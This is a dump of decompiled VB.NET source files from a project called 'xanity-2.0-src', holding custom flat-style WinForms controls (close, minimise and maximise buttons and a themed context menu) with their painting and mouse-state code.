InterpolationMode.HighQualityBicubic 92 | e.Graphics.DrawImageUnscaled(Helpers.B, 0, 0) 93 | Helpers.B.Dispose 94 | End Sub 95 | 96 | Protected Overrides Sub OnTextChanged(ByVal e As EventArgs) 97 | MyBase.OnTextChanged(e) 98 | Me.Invalidate 99 | End Sub 100 | 101 | 102 | ' Properties 103 | _ 104 | Public Property BaseColor As Color 105 | Get 106 | Return Me._BaseColor 107 | End Get 108 | Set(ByVal value As Color) 109 | Me._BaseColor = value 110 | End Set 111 | End Property 112 | 113 | _ 114 | Public Property RectColor As Color 115 | Get 116 | Return Me._RectColor 117 | End Get 118 | Set(ByVal value As Color) 119 | Me._RectColor = value 120 | End Set 121 | End Property 122 | 123 | Public Property ShowTimeDate As Boolean 124 | Get 125 | Return Me._ShowTimeDate 126 | End Get 127 | Set(ByVal value As Boolean) 128 | Me._ShowTimeDate = value 129 | End Set 130 | End Property 131 | 132 | _ 133 | Public Property TextColor As Color 134 | Get 135 | Return Me._TextColor 136 | End Get 137 | Set(ByVal value As Color) 138 | Me._TextColor = value 139 | End Set 140 | End Property 141 | 142 | 143 | ' Fields 144 | Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference) 145 | Private _BaseColor As Color 146 | Private _RectColor As Color 147 | Private _ShowTimeDate As Boolean 148 | Private _TextColor As Color 149 | Private H As Integer 150 | Private W As Integer 151 | End Class 152 | End Namespace 153 | 154 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/FlatCloseMISC.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Collections.Generic 3 | Imports System.ComponentModel 4 | Imports System.Diagnostics 5 | Imports System.Drawing 6 | Imports System.Drawing.Drawing2D 7 | Imports System.Drawing.Text 8 | Imports System.Runtime.CompilerServices 9 | Imports System.Windows.Forms 10 | Imports Xanity_2._0.My 11 | 12 | Namespace Xanity_2._0 13 | Friend Class FlatCloseMISC 14 | Inherits Control 15 | ' Methods 16 | Public Sub New() 17 | FlatCloseMISC.__ENCAddToList(Me) 18 | Me.State = MouseState.None 19 | Me._BaseColor = Color.FromArgb(&HA8, &H23, &H23) 20 | Me._TextColor = Color.FromArgb(&HF3, &HF3, &HF3) 21 | Me.SetStyle((ControlStyles.OptimizedDoubleBuffer Or (ControlStyles.AllPaintingInWmPaint Or (ControlStyles.ResizeRedraw Or ControlStyles.UserPaint))), True) 22 | Me.DoubleBuffered = True 23 | Me.BackColor = Color.White 24 | Dim size2 As New Size(&H12, &H12) 25 | Me.Size = size2 26 | Me.Anchor = (AnchorStyles.Right Or AnchorStyles.Top) 27 | Me.Font = New Font("Marlett", 10!) 28 | End Sub 29 | 30 | _ 31 | Private Shared Sub __ENCAddToList(ByVal value As Object) 32 | Dim list As List(Of WeakReference) = FlatCloseMISC.__ENCList 33 | SyncLock list 34 | If (FlatCloseMISC.__ENCList.Count = FlatCloseMISC.__ENCList.Capacity) Then 35 | Dim index As Integer = 0 36 | Dim num3 As Integer = (FlatCloseMISC.__ENCList.Count - 1) 37 | Dim i As Integer = 0 38 | Do While (i <= num3) 39 | Dim reference As WeakReference = FlatCloseMISC.__ENCList.Item(i) 40 | If reference.IsAlive Then 41 | If (i <> index) Then 42 | FlatCloseMISC.__ENCList.Item(index) = FlatCloseMISC.__ENCList.Item(i) 43 | End If 44 | index += 1 45 | End If 46 | i += 1 47 | Loop 48 | FlatCloseMISC.__ENCList.RemoveRange(index, (FlatCloseMISC.__ENCList.Count - index)) 49 | FlatCloseMISC.__ENCList.Capacity = FlatCloseMISC.__ENCList.Count 50 | End If 51 | FlatCloseMISC.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value))) 52 | End SyncLock 53 | End Sub 54 | 55 | Protected Overrides Sub OnClick(ByVal e As EventArgs) 56 | MyBase.OnClick(e) 57 | MyProject.Forms.misc.Close 58 | End Sub 59 | 60 | Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) 61 | MyBase.OnMouseDown(e) 62 | Me.State = MouseState.Down 63 | Me.Invalidate 64 | End Sub 65 | 66 | Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) 67 | MyBase.OnMouseEnter(e) 68 | Me.State = MouseState.Over 69 | Me.Invalidate 70 | End Sub 71 | 72 | Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) 73 | MyBase.OnMouseLeave(e) 74 | Me.State = MouseState.None 75 | Me.Invalidate 76 | End Sub 77 | 78 | Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) 79 | MyBase.OnMouseMove(e) 80 | Me.x = e.X 81 | Me.Invalidate 82 | End Sub 83 | 84 | Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) 85 | MyBase.OnMouseUp(e) 86 | Me.State = MouseState.Over 87 | Me.Invalidate 88 | End Sub 89 | 90 | Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) 91 | Dim image As New Bitmap(Me.Width, Me.Height) 92 | Dim graphics As Graphics = Graphics.FromImage(image) 93 | Dim rect As New Rectangle(0, 0, Me.Width, Me.Height) 94 | Dim graphics2 As Graphics = graphics 95 | graphics2.SmoothingMode = SmoothingMode.HighQuality 96 | graphics2.PixelOffsetMode = PixelOffsetMode.HighQuality 97 | graphics2.TextRenderingHint = TextRenderingHint.ClearTypeGridFit 98 | graphics2.Clear(Me.BackColor) 99 | graphics2.FillRectangle(New SolidBrush(Me._BaseColor), rect) 100 | Dim layoutRectangle As New Rectangle(0, 0, Me.Width, Me.Height) 101 | graphics2.DrawString("r", Me.Font, New SolidBrush(Me.TextColor), layoutRectangle, Helpers.CenterSF) 102 | Select Case CByte((CInt(Me.State) - 1)) 103 | Case 0 104 | graphics2.FillRectangle(New SolidBrush(Color.FromArgb(30, Color.White)), rect) 105 | Exit Select 106 | Case 1 107 | graphics2.FillRectangle(New SolidBrush(Color.FromArgb(30, Color.Black)), rect) 108 | Exit Select 109 | End Select 110 | graphics2 = Nothing 111 | MyBase.OnPaint(e) 112 | graphics.Dispose 113 | e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic 114 | e.Graphics.DrawImageUnscaled(image, 0, 0) 115 | image.Dispose 116 | End Sub 117 | 118 | Protected Overrides Sub OnResize(ByVal e As EventArgs) 119 | MyBase.OnResize(e) 120 | Dim size2 As New Size(&H12, &H12) 121 | Me.Size = size2 122 | End Sub 123 | 124 | 125 | ' Properties 126 | _ 127 | Public Property BaseColor As Color 128 | Get 129 | Return Me._BaseColor 130 | End Get 131 | Set(ByVal value As Color) 132 | Me._BaseColor = value 133 | End Set 134 | End Property 135 | 136 | _ 137 | Public Property TextColor As Color 138 | Get 139 | Return Me._TextColor 140 | End Get 141 | Set(ByVal value As Color) 142 | Me._TextColor = value 143 | End Set 144 | End Property 145 | 146 | 147 | ' Fields 148 | Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference) 149 | Private _BaseColor As Color 150 | Private _TextColor As Color 151 | Private State As MouseState 152 | Private x As Integer 153 | End Class 154 | End Namespace 155 | 156 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/FlatClosePasses.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Collections.Generic 3 | Imports System.ComponentModel 4 | Imports System.Diagnostics 5 | Imports System.Drawing 6 | Imports System.Drawing.Drawing2D 7 | Imports System.Drawing.Text 8 | Imports System.Runtime.CompilerServices 9 | Imports System.Windows.Forms 10 | Imports Xanity_2._0.My 11 | 12 | Namespace Xanity_2._0 13 | Friend Class FlatClosePasses 14 | Inherits Control 15 | ' Methods 16 | Public Sub New() 17 | FlatClosePasses.__ENCAddToList(Me) 18 | Me.State = MouseState.None 19 | Me._BaseColor = Color.FromArgb(&HA8, &H23, &H23) 20 | Me._TextColor = Color.FromArgb(&HF3, &HF3, &HF3) 21 | Me.SetStyle((ControlStyles.OptimizedDoubleBuffer Or (ControlStyles.AllPaintingInWmPaint Or (ControlStyles.ResizeRedraw Or ControlStyles.UserPaint))), True) 22 | Me.DoubleBuffered = True 23 | Me.BackColor = Color.White 24 | Dim size2 As New Size(&H12, &H12) 25 | Me.Size = size2 26 | Me.Anchor = (AnchorStyles.Right Or AnchorStyles.Top) 27 | Me.Font = New Font("Marlett", 10!) 28 | End Sub 29 | 30 | _ 31 | Private Shared Sub __ENCAddToList(ByVal value As Object) 32 | Dim list As List(Of WeakReference) = FlatClosePasses.__ENCList 33 | SyncLock list 34 | If (FlatClosePasses.__ENCList.Count = FlatClosePasses.__ENCList.Capacity) Then 35 | Dim index As Integer = 0 36 | Dim num3 As Integer = (FlatClosePasses.__ENCList.Count - 1) 37 | Dim i As Integer = 0 38 | Do While (i <= num3) 39 | Dim reference As WeakReference = FlatClosePasses.__ENCList.Item(i) 40 | If reference.IsAlive Then 41 | If (i <> index) Then 42 | FlatClosePasses.__ENCList.Item(index) = FlatClosePasses.__ENCList.Item(i) 43 | End If 44 | index += 1 45 | End If 46 | i += 1 47 | Loop 48 | FlatClosePasses.__ENCList.RemoveRange(index, (FlatClosePasses.__ENCList.Count - index)) 49 | FlatClosePasses.__ENCList.Capacity = FlatClosePasses.__ENCList.Count 50 | End If 51 | FlatClosePasses.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value))) 52 | End SyncLock 53 | End Sub 54 | 55 | Protected Overrides Sub OnClick(ByVal e As EventArgs) 56 | MyBase.OnClick(e) 57 | MyProject.Forms.passes.Close 58 | End Sub 59 | 60 | Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) 61 | MyBase.OnMouseDown(e) 62 | Me.State = MouseState.Down 63 | Me.Invalidate 64 | End Sub 65 | 66 | Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) 67 | MyBase.OnMouseEnter(e) 68 | Me.State = MouseState.Over 69 | Me.Invalidate 70 | End Sub 71 | 72 | Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) 73 | MyBase.OnMouseLeave(e) 74 | Me.State = MouseState.None 75 | Me.Invalidate 76 | End Sub 77 | 78 | Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) 79 | MyBase.OnMouseMove(e) 80 | Me.x = e.X 81 | Me.Invalidate 82 | End Sub 83 | 84 | Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) 85 | MyBase.OnMouseUp(e) 86 | Me.State = MouseState.Over 87 | Me.Invalidate 88 | End Sub 89 | 90 | Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) 91 | Dim image As New Bitmap(Me.Width, Me.Height) 92 | Dim graphics As Graphics = Graphics.FromImage(image) 93 | Dim rect As New Rectangle(0, 0, Me.Width, Me.Height) 94 | Dim graphics2 As Graphics = graphics 95 | graphics2.SmoothingMode = SmoothingMode.HighQuality 96 | graphics2.PixelOffsetMode = PixelOffsetMode.HighQuality 97 | graphics2.TextRenderingHint = TextRenderingHint.ClearTypeGridFit 98 | graphics2.Clear(Me.BackColor) 99 | graphics2.FillRectangle(New SolidBrush(Me._BaseColor), rect) 100 | Dim layoutRectangle As New Rectangle(0, 0, Me.Width, Me.Height) 101 | graphics2.DrawString("r", Me.Font, New SolidBrush(Me.TextColor), layoutRectangle, Helpers.CenterSF) 102 | Select Case CByte((CInt(Me.State) - 1)) 103 | Case 0 104 | graphics2.FillRectangle(New SolidBrush(Color.FromArgb(30, Color.White)), rect) 105 | Exit Select 106 | Case 1 107 | graphics2.FillRectangle(New SolidBrush(Color.FromArgb(30, Color.Black)), rect) 108 | Exit Select 109 | End Select 110 | graphics2 = Nothing 111 | MyBase.OnPaint(e) 112 | graphics.Dispose 113 | e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic 114 | e.Graphics.DrawImageUnscaled(image, 0, 0) 115 | image.Dispose 116 | End Sub 117 | 118 | Protected Overrides Sub OnResize(ByVal e As EventArgs) 119 | MyBase.OnResize(e) 120 | Dim size2 As New Size(&H12, &H12) 121 | Me.Size = size2 122 | End Sub 123 | 124 | 125 | ' Properties 126 | _ 127 | Public Property BaseColor As Color 128 | Get 129 | Return Me._BaseColor 130 | End Get 131 | Set(ByVal value As Color) 132 | Me._BaseColor = value 133 | End Set 134 | End Property 135 | 136 | _ 137 | Public Property TextColor As Color 138 | Get 139 | Return Me._TextColor 140 | End Get 141 | Set(ByVal value As Color) 142 | Me._TextColor = value 143 | End Set 144 | End Property 145 | 146 | 147 | ' Fields 148 | Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference) 149 | Private _BaseColor As Color 150 | Private _TextColor As Color 151 | Private State As MouseState 152 | Private x As Integer 153 | End Class 154 | End Namespace 155 | 156 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/FlatCloseMapView.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Collections.Generic 3 | Imports System.ComponentModel 4 | Imports System.Diagnostics 5 | Imports System.Drawing 6 | Imports System.Drawing.Drawing2D 7 | Imports System.Drawing.Text 8 | Imports System.Runtime.CompilerServices 9 | Imports System.Windows.Forms 10 | Imports Xanity_2._0.My 11 | 12 | Namespace Xanity_2._0 13 | Friend Class FlatCloseMapView 14 | Inherits Control 15 | ' Methods 16 | Public Sub New() 17 | FlatCloseMapView.__ENCAddToList(Me) 18 | Me.State = MouseState.None 19 | Me._BaseColor = Color.FromArgb(&HA8, &H23, &H23) 20 | Me._TextColor = Color.FromArgb(&HF3, &HF3, &HF3) 21 | Me.SetStyle((ControlStyles.OptimizedDoubleBuffer Or (ControlStyles.AllPaintingInWmPaint Or (ControlStyles.ResizeRedraw Or ControlStyles.UserPaint))), True) 22 | Me.DoubleBuffered = True 23 | Me.BackColor = Color.White 24 | Dim size2 As New Size(&H12, &H12) 25 | Me.Size = size2 26 | Me.Anchor = (AnchorStyles.Right Or AnchorStyles.Top) 27 | Me.Font = New Font("Marlett", 10!) 28 | End Sub 29 | 30 | _ 31 | Private Shared Sub __ENCAddToList(ByVal value As Object) 32 | Dim list As List(Of WeakReference) = FlatCloseMapView.__ENCList 33 | SyncLock list 34 | If (FlatCloseMapView.__ENCList.Count = FlatCloseMapView.__ENCList.Capacity) Then 35 | Dim index As Integer = 0 36 | Dim num3 As Integer = (FlatCloseMapView.__ENCList.Count - 1) 37 | Dim i As Integer = 0 38 | Do While (i <= num3) 39 | Dim reference As WeakReference = FlatCloseMapView.__ENCList.Item(i) 40 | If reference.IsAlive Then 41 | If (i <> index) Then 42 | FlatCloseMapView.__ENCList.Item(index) = FlatCloseMapView.__ENCList.Item(i) 43 | End If 44 | index += 1 45 | End If 46 | i += 1 47 | Loop 48 | FlatCloseMapView.__ENCList.RemoveRange(index, (FlatCloseMapView.__ENCList.Count - index)) 49 | FlatCloseMapView.__ENCList.Capacity = FlatCloseMapView.__ENCList.Count 50 | End If 51 | FlatCloseMapView.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value))) 52 | End SyncLock 53 | End Sub 54 | 55 | Protected Overrides Sub OnClick(ByVal e As EventArgs) 56 | MyBase.OnClick(e) 57 | MyProject.Forms.MapView.Close 58 | End Sub 59 | 60 | Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) 61 | MyBase.OnMouseDown(e) 62 | Me.State = MouseState.Down 63 | Me.Invalidate 64 | End Sub 65 | 66 | Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) 67 | MyBase.OnMouseEnter(e) 68 | Me.State = MouseState.Over 69 | Me.Invalidate 70 | End Sub 71 | 72 | Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) 73 | MyBase.OnMouseLeave(e) 74 | Me.State = MouseState.None 75 | Me.Invalidate 76 | End Sub 77 | 78 | Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) 79 | MyBase.OnMouseMove(e) 80 | Me.x = e.X 81 | Me.Invalidate 82 | End Sub 83 | 84 | Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) 85 | MyBase.OnMouseUp(e) 86 | Me.State = MouseState.Over 87 | Me.Invalidate 88 | End Sub 89 | 90 | Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) 91 | Dim image As New Bitmap(Me.Width, Me.Height) 92 | Dim graphics As Graphics = Graphics.FromImage(image) 93 | Dim rect As New Rectangle(0, 0, Me.Width, Me.Height) 94 | Dim graphics2 As Graphics = graphics 95 | graphics2.SmoothingMode = SmoothingMode.HighQuality 96 | graphics2.PixelOffsetMode = PixelOffsetMode.HighQuality 97 | graphics2.TextRenderingHint = TextRenderingHint.ClearTypeGridFit 98 | graphics2.Clear(Me.BackColor) 99 | graphics2.FillRectangle(New SolidBrush(Me._BaseColor), rect) 100 | Dim layoutRectangle As New Rectangle(0, 0, Me.Width, Me.Height) 101 | graphics2.DrawString("r", Me.Font, New SolidBrush(Me.TextColor), layoutRectangle, Helpers.CenterSF) 102 | Select Case CByte((CInt(Me.State) - 1)) 103 | Case 0 104 | graphics2.FillRectangle(New SolidBrush(Color.FromArgb(30, Color.White)), rect) 105 | Exit Select 106 | Case 1 107 | graphics2.FillRectangle(New SolidBrush(Color.FromArgb(30, Color.Black)), rect) 108 | Exit Select 109 | End Select 110 | graphics2 = Nothing 111 | MyBase.OnPaint(e) 112 | graphics.Dispose 113 | e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic 114 | e.Graphics.DrawImageUnscaled(image, 0, 0) 115 | image.Dispose 116 | End Sub 117 | 118 | Protected Overrides Sub OnResize(ByVal e As EventArgs) 119 | MyBase.OnResize(e) 120 | Dim size2 As New Size(&H12, &H12) 121 | Me.Size = size2 122 | End Sub 123 | 124 | 125 | ' Properties 126 | _ 127 | Public Property BaseColor As Color 128 | Get 129 | Return Me._BaseColor 130 | End Get 131 | Set(ByVal value As Color) 132 | Me._BaseColor = value 133 | End Set 134 | End Property 135 | 136 | _ 137 | Public Property TextColor As Color 138 | Get 139 | Return Me._TextColor 140 | End Get 141 | Set(ByVal value As Color) 142 | Me._TextColor = value 143 | End Set 144 | End Property 145 | 146 | 147 | ' Fields 148 | Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference) 149 | Private _BaseColor As Color 150 | Private _TextColor As Color 151 | Private State As MouseState 152 | Private x As Integer 153 | End Class 154 | End Namespace 155 | 156 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/FlatMini.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Collections.Generic 3 | Imports System.ComponentModel 4 | Imports System.Diagnostics 5 | Imports System.Drawing 6 | Imports System.Drawing.Drawing2D 7 | Imports System.Drawing.Text 8 | Imports System.Runtime.CompilerServices 9 | Imports System.Windows.Forms 10 | 11 | Namespace Xanity_2._0 12 | Friend Class FlatMini 13 | Inherits Control 14 | ' Methods 15 | Public Sub New() 16 | FlatMini.__ENCAddToList(Me) 17 | Me.State = MouseState.None 18 | Me._BaseColor = Color.FromArgb(&H2D, &H2F, &H31) 19 | Me._TextColor = Color.FromArgb(&HF3, &HF3, &HF3) 20 | Me.SetStyle((ControlStyles.OptimizedDoubleBuffer Or (ControlStyles.AllPaintingInWmPaint Or (ControlStyles.ResizeRedraw Or ControlStyles.UserPaint))), True) 21 | Me.DoubleBuffered = True 22 | Me.BackColor = Color.White 23 | Dim size2 As New Size(&H12, &H12) 24 | Me.Size = size2 25 | Me.Anchor = (AnchorStyles.Right Or AnchorStyles.Top) 26 | Me.Font = New Font("Marlett", 12!) 27 | End Sub 28 | 29 | _ 30 | Private Shared Sub __ENCAddToList(ByVal value As Object) 31 | Dim list As List(Of WeakReference) = FlatMini.__ENCList 32 | SyncLock list 33 | If (FlatMini.__ENCList.Count = FlatMini.__ENCList.Capacity) Then 34 | Dim index As Integer = 0 35 | Dim num3 As Integer = (FlatMini.__ENCList.Count - 1) 36 | Dim i As Integer = 0 37 | Do While (i <= num3) 38 | Dim reference As WeakReference = FlatMini.__ENCList.Item(i) 39 | If reference.IsAlive Then 40 | If (i <> index) Then 41 | FlatMini.__ENCList.Item(index) = FlatMini.__ENCList.Item(i) 42 | End If 43 | index += 1 44 | End If 45 | i += 1 46 | Loop 47 | FlatMini.__ENCList.RemoveRange(index, (FlatMini.__ENCList.Count - index)) 48 | FlatMini.__ENCList.Capacity = FlatMini.__ENCList.Count 49 | End If 50 | FlatMini.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value))) 51 | End SyncLock 52 | End Sub 53 | 54 | Protected Overrides Sub OnClick(ByVal e As EventArgs) 55 | MyBase.OnClick(e) 56 | Select Case Me.FindForm.WindowState 57 | Case FormWindowState.Normal 58 | Me.FindForm.WindowState = FormWindowState.Minimized 59 | Exit Select 60 | Case FormWindowState.Maximized 61 | Me.FindForm.WindowState = FormWindowState.Minimized 62 | Exit Select 63 | End Select 64 | End Sub 65 | 66 | Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) 67 | MyBase.OnMouseDown(e) 68 | Me.State = MouseState.Down 69 | Me.Invalidate 70 | End Sub 71 | 72 | Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) 73 | MyBase.OnMouseEnter(e) 74 | Me.State = MouseState.Over 75 | Me.Invalidate 76 | End Sub 77 | 78 | Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) 79 | MyBase.OnMouseLeave(e) 80 | Me.State = MouseState.None 81 | Me.Invalidate 82 | End Sub 83 | 84 | Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) 85 | MyBase.OnMouseMove(e) 86 | Me.x = e.X 87 | Me.Invalidate 88 | End Sub 89 | 90 | Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) 91 | MyBase.OnMouseUp(e) 92 | Me.State = MouseState.Over 93 | Me.Invalidate 94 | End Sub 95 | 96 | Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) 97 | Dim image As New Bitmap(Me.Width, Me.Height) 98 | Dim graphics As Graphics = Graphics.FromImage(image) 99 | Dim rect As New Rectangle(0, 0, Me.Width, Me.Height) 100 | Dim graphics2 As Graphics = graphics 101 | graphics2.SmoothingMode = SmoothingMode.HighQuality 102 | graphics2.PixelOffsetMode = PixelOffsetMode.HighQuality 103 | graphics2.TextRenderingHint = TextRenderingHint.ClearTypeGridFit 104 | graphics2.Clear(Me.BackColor) 105 | graphics2.FillRectangle(New SolidBrush(Me._BaseColor), rect) 106 | Dim layoutRectangle As New Rectangle(2, 1, Me.Width, Me.Height) 107 | graphics2.DrawString("0", Me.Font, New SolidBrush(Me.TextColor), layoutRectangle, Helpers.CenterSF) 108 | Select Case CByte((CInt(Me.State) - 1)) 109 | Case 0 110 | graphics2.FillRectangle(New SolidBrush(Color.FromArgb(30, Color.White)), rect) 111 | Exit Select 112 | Case 1 113 | graphics2.FillRectangle(New SolidBrush(Color.FromArgb(30, Color.Black)), rect) 114 | Exit Select 115 | End Select 116 | graphics2 = Nothing 117 | MyBase.OnPaint(e) 118 | graphics.Dispose 119 | e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic 120 | e.Graphics.DrawImageUnscaled(image, 0, 0) 121 | image.Dispose 122 | End Sub 123 | 124 | Protected Overrides Sub OnResize(ByVal e As EventArgs) 125 | MyBase.OnResize(e) 126 | Dim size2 As New Size(&H12, &H12) 127 | Me.Size = size2 128 | End Sub 129 | 130 | 131 | ' Properties 132 | _ 133 | Public Property BaseColor As Color 134 | Get 135 | Return Me._BaseColor 136 | End Get 137 | Set(ByVal value As Color) 138 | Me._BaseColor = value 139 | End Set 140 | End Property 141 | 142 | _ 143 | Public Property TextColor As Color 144 | Get 145 | Return Me._TextColor 146 | End Get 147 | Set(ByVal value As Color) 148 | Me._TextColor = value 149 | End Set 150 | End Property 151 | 152 | 153 | ' Fields 154 | Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference) 155 | Private _BaseColor As Color 156 | Private _TextColor As Color 157 | Private State As MouseState 158 | Private x As Integer 159 | End Class 160 | End Namespace 161 | 162 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/FlatContextMenuStrip.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Collections.Generic 3 | Imports System.ComponentModel 4 | Imports System.Diagnostics 5 | Imports System.Drawing 6 | Imports System.Drawing.Text 7 | Imports System.Runtime.CompilerServices 8 | Imports System.Windows.Forms 9 | 10 | Namespace Xanity_2._0 11 | Friend Class FlatContextMenuStrip 12 | Inherits ContextMenuStrip 13 | ' Methods 14 | Public Sub New() 15 | FlatContextMenuStrip.__ENCAddToList(Me) 16 | Me.Renderer = New ToolStripProfessionalRenderer(New TColorTable) 17 | Me.ShowImageMargin = False 18 | Me.ForeColor = Color.White 19 | Me.Font = New Font("Segoe UI", 8!) 20 | End Sub 21 | 22 | _ 23 | Private Shared Sub __ENCAddToList(ByVal value As Object) 24 | Dim list As List(Of WeakReference) = FlatContextMenuStrip.__ENCList 25 | SyncLock list 26 | If (FlatContextMenuStrip.__ENCList.Count = FlatContextMenuStrip.__ENCList.Capacity) Then 27 | Dim index As Integer = 0 28 | Dim num3 As Integer = (FlatContextMenuStrip.__ENCList.Count - 1) 29 | Dim i As Integer = 0 30 | Do While (i <= num3) 31 | Dim reference As WeakReference = FlatContextMenuStrip.__ENCList.Item(i) 32 | If reference.IsAlive Then 33 | If (i <> index) Then 34 | FlatContextMenuStrip.__ENCList.Item(index) = FlatContextMenuStrip.__ENCList.Item(i) 35 | End If 36 | index += 1 37 | End If 38 | i += 1 39 | Loop 40 | FlatContextMenuStrip.__ENCList.RemoveRange(index, (FlatContextMenuStrip.__ENCList.Count - index)) 41 | FlatContextMenuStrip.__ENCList.Capacity = FlatContextMenuStrip.__ENCList.Count 42 | End If 43 | FlatContextMenuStrip.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value))) 44 | End SyncLock 45 | End Sub 46 | 47 | Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) 48 | MyBase.OnPaint(e) 49 | e.Graphics.TextRenderingHint = TextRenderingHint.ClearTypeGridFit 50 | End Sub 51 | 52 | Protected Overrides Sub OnTextChanged(ByVal e As EventArgs) 53 | MyBase.OnTextChanged(e) 54 | Me.Invalidate 55 | End Sub 56 | 57 | 58 | ' Fields 59 | Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference) 60 | 61 | ' Nested Types 62 | Public Class TColorTable 63 | Inherits ProfessionalColorTable 64 | ' Properties 65 | _ 66 | Public Property _BackColor As Color 67 | Get 68 | Return Me.BackColor 69 | End Get 70 | Set(ByVal value As Color) 71 | Me.BackColor = value 72 | End Set 73 | End Property 74 | 75 | _ 76 | Public Property _BorderColor As Color 77 | Get 78 | Return Me.BorderColor 79 | End Get 80 | Set(ByVal value As Color) 81 | Me.BorderColor = value 82 | End Set 83 | End Property 84 | 85 | _ 86 | Public Property _CheckedColor As Color 87 | Get 88 | Return Me.CheckedColor 89 | End Get 90 | Set(ByVal value As Color) 91 | Me.CheckedColor = value 92 | End Set 93 | End Property 94 | 95 | Public Overrides ReadOnly Property ButtonSelectedBorder As Color 96 | Get 97 | Return Me.BackColor 98 | End Get 99 | End Property 100 | 101 | Public Overrides ReadOnly Property CheckBackground As Color 102 | Get 103 | Return Me.CheckedColor 104 | End Get 105 | End Property 106 | 107 | Public Overrides ReadOnly Property CheckPressedBackground As Color 108 | Get 109 | Return Me.CheckedColor 110 | End Get 111 | End Property 112 | 113 | Public Overrides ReadOnly Property CheckSelectedBackground As Color 114 | Get 115 | Return Me.CheckedColor 116 | End Get 117 | End Property 118 | 119 | Public Overrides ReadOnly Property ImageMarginGradientBegin As Color 120 | Get 121 | Return Me.CheckedColor 122 | End Get 123 | End Property 124 | 125 | Public Overrides ReadOnly Property ImageMarginGradientEnd As Color 126 | Get 127 | Return Me.CheckedColor 128 | End Get 129 | End Property 130 | 131 | Public Overrides ReadOnly Property ImageMarginGradientMiddle As Color 132 | Get 133 | Return Me.CheckedColor 134 | End Get 135 | End Property 136 | 137 | Public Overrides ReadOnly Property MenuBorder As Color 138 | Get 139 | Return Me.BorderColor 140 | End Get 141 | End Property 142 | 143 | Public Overrides ReadOnly Property MenuItemBorder As Color 144 | Get 145 | Return Me.BorderColor 146 | End Get 147 | End Property 148 | 149 | Public Overrides ReadOnly Property MenuItemSelected As Color 150 | Get 151 | Return Me.CheckedColor 152 | End Get 153 | End Property 154 | 155 | Public Overrides ReadOnly Property SeparatorDark As Color 156 | Get 157 | Return Me.BorderColor 158 | End Get 159 | End Property 160 | 161 | Public Overrides ReadOnly Property ToolStripDropDownBackground As Color 162 | Get 163 | Return Me.BackColor 164 | End Get 165 | End Property 166 | 167 | 168 | ' Fields 169 | Private BackColor As Color = Color.FromArgb(&H2D, &H2F, &H31) 170 | Private BorderColor As Color = Color.FromArgb(&H35, &H3A, 60) 171 | Private CheckedColor As Color = Helpers._FlatColor 172 | End Class 173 | End Class 174 | End Namespace 175 | 176 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/FlatMax.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Collections.Generic 3 | Imports System.ComponentModel 4 | Imports System.Diagnostics 5 | Imports System.Drawing 6 | Imports System.Drawing.Drawing2D 7 | Imports System.Drawing.Text 8 | Imports System.Runtime.CompilerServices 9 | Imports System.Windows.Forms 10 | 11 | Namespace Xanity_2._0 12 | Friend Class FlatMax 13 | Inherits Control 14 | ' Methods 15 | Public Sub New() 16 | FlatMax.__ENCAddToList(Me) 17 | Me.State = MouseState.None 18 | Me._BaseColor = Color.FromArgb(&H2D, &H2F, &H31) 19 | Me._TextColor = Color.FromArgb(&HF3, &HF3, &HF3) 20 | Me.SetStyle((ControlStyles.OptimizedDoubleBuffer Or (ControlStyles.AllPaintingInWmPaint Or (ControlStyles.ResizeRedraw Or ControlStyles.UserPaint))), True) 